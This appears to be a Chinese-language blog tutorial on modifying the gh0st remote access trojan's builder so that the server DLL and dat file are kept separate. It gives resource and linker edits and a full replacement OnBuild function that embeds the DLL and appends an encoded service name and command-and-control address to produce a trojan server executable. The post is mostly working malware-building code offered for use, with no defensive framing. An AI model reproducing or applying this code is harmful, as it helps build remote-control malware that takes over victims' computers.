gh0st完全分离dat文件与dll文件

1.

搜索IDR_DLL

搜索IDR_BSS

注释:

//IDR_BSS                 BSS     DISCARDABLE     "res\\install.exe"

//IDR_BSS                 BSS     DISCARDABLE     "res\\install.exe"


2.

搜索ReleaseResource

搜索第一行改成

BOOL ReleaseResource(HMODULE hModule, LPCTSTR wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString)

第二处

代码改成

ReleaseResource(NULL, "DLL", "BIN", strModulePath, lpConfigString);


在搜索hResInfo = FindResource

一处,改成

hResInfo = FindResource(hModule, wResourceID, lpType);


3.在工程文件右键-设置-连接

install files

svchost files

../../bin/sx.dat

../../bin/data.dll


4.打开gh0st files源文件里的BuildView.cpp

找到void CBuildView::OnBuild() 

把下面的代码替换。注意代码里面的路径就OK了

void CBuildView::OnBuild() 

{

// TODO: Add your control notification handler code here

UpdateData(true);

if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty())

{

AfxMessageBox("请完整填写服务显示名称和描述 -:(");

return;

}

CString strAddress;


// 保存配置

((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "DisplayName", m_ServiceDisplayName);

((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "Description", m_ServiceDescription);

((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Build", "enablehttp", m_enable_http);

if (m_enable_http)

{

CString str;

GetDlgItemText(IDC_URL, str);

((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "httpurl", str);

str.MakeLower();

strAddress = MyEncode(str.GetBuffer(0));

}

else

{

GetDlgItemText(IDC_DNS_STRING, strAddress);

if (strAddress.Find("AAAA") == -1)

{

AfxMessageBox("域名上线字串格式出错 -:(");

return;

}

strAddress.Replace("AAAA", "");

}


CStringstrServiceConfig;

strServiceConfig.Format("%s|%s", MyEncode(m_ServiceDisplayName.GetBuffer(0)), 

MyEncode(m_ServiceDescription.GetBuffer(0)));


CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL);

if(dlg.DoModal () != IDOK)

return;

char Path[MAX_PATH];

char ExePath[MAX_PATH];

char DllPath[MAX_PATH];

char BakPath[MAX_PATH];

char Wrong[MAX_PATH];

char Wrong1[MAX_PATH];

GetModuleFileName(NULL, Path, sizeof(Path));   //获取程序自身完整路径名称,即Gh0st.exe的路径

PathRemoveFileSpec(Path);

wsprintf(ExePath,"%s%s",Path,"\\sx.dat");

wsprintf(DllPath,"%s%s",Path,"\\data.dll");

wsprintf(BakPath,"%s%s",Path,"\\bak.bak");

wsprintf(Wrong,"%s%s%s%s","\"",ExePath,"\""," 哥,文件都被你吃了!");

wsprintf(Wrong1,"%s%s%s%s","\"",DllPath,"\""," 哥,文件都被你吃了!");


if(!CopyFile(ExePath,BakPath,FALSE))  //如果不存在dat文件就提示下

{

MessageBox(Wrong,"提示");

return;

}


HANDLE hFile;

    hFile = CreateFile(DllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)

    {

DeleteFile(BakPath);

       MessageBox(Wrong1,"提示");

return;

    }


DWORD nSizeOfSrcFile = GetFileSize( hFile, &nSizeOfSrcFile ); 

char *szSrcFileBuf = new char[ nSizeOfSrcFile ]; 

ReadFile( hFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL); 


HANDLE hUpdate;

BOOL ret;

hUpdate = BeginUpdateResource(BakPath, false);

    ret = UpdateResource(hUpdate, "BIN", "DLL", 0, szSrcFileBuf, nSizeOfSrcFile);

    if (!ret)

    {

CloseHandle(hFile);

    }

    CloseHandle(hFile);

EndUpdateResource( hUpdate, false ); 

delete []szSrcFileBuf; 

CloseHandle(hFile);

CopyFile(BakPath,dlg.GetPathName(),FALSE);

DeleteFile(BakPath);


CFile file;

if(file.Open (dlg.GetPathName(), CFile::modeWrite))

{

try

{

file.Seek(0,CFile::end);               //把文件指针指向文件末尾

// 写入6个'C',是服务的名称和描述

file.Write("CCCCCC", 6);

file.Write(strServiceConfig, strServiceConfig.GetLength() + 1);

// 写入6个'A',安装时查找

file.Write("AAAAAA", 6);

file.Write(strAddress, strAddress.GetLength() + 1);

file.Close();

char ShowText[200];

wsprintf(ShowText,"%s%s","服务端已生成到:",dlg.GetPathName());

MessageBox(ShowText,"提示",MB_ICONEXCLAMATION | MB_OK);

}

catch(...)

{

MessageBox("文件保存失败,请检查...","提示",MB_OK|MB_ICONSTOP);

}

}

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值